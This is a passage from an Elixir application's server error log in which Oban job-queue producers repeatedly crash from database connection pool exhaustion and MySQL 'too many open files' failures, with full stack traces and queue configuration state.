    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:48:00.240292Z], limit: 10, uuid: "315a95c3-6a9c-4b89-8d50-c02dd171f352", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:00.240297Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.29690>, refresh_timer: #Reference<0.2525715032.1068498948.29685>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1052ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:48:00.240845Z], limit: 50, uuid: "e438f455-1c5f-45c2-9dbf-249531dba935", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:00.240851Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.29693>, refresh_timer: #Reference<0.2525715032.1077673987.2730>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:12.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:48:00.239649Z], limit: 3, uuid: "0bfa3f33-19de-46e3-bea7-5785c3c7cb55", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:00.239655Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.29691>, refresh_timer: #Reference<0.2525715032.1068498948.29668>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:12.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:48:00.239851Z], limit: 5, uuid: "3800b9fd-3ab0-4075-b3df-b89e33e66b37", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:00.239857Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.29692>, refresh_timer: #Reference<0.2525715032.1099431938.32836>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:12.691000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:18.583000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:18.770000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:18.781000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:19.789000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:22.456000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:48:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:48:12.239547Z], limit: 3, uuid: "b0c57d76-d578-4c2e-be3e-5bd7e4225f0e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:12.239553Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.29938>, refresh_timer: #Reference<0.2525715032.1121189889.138626>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:48:12.239126Z], limit: 5, uuid: "d5e90d01-a7f1-4a70-bce8-be6ebc96e8b8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:12.239133Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.29937>, refresh_timer: #Reference<0.2525715032.1121189889.138612>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 866ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:48:12.239527Z], limit: 50, uuid: "a8a2a214-a4fc-429d-b0f4-eee37ca16200", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:12.239532Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.29940>, refresh_timer: #Reference<0.2525715032.1077673987.2975>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:24.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1060ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:48:12.239558Z], limit: 10, uuid: "e360ab61-6224-4f0e-b8bc-a212f2fb0b27", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:12.239563Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.2979>, refresh_timer: #Reference<0.2525715032.1077673987.2978>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:48:12.240126Z], limit: 5, uuid: "1c2382d6-feca-4111-a0e1-838a01934d8d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:48:12.240131Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.29939>, refresh_timer: #Reference<0.2525715032.1099431938.32931>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:48:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1061ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
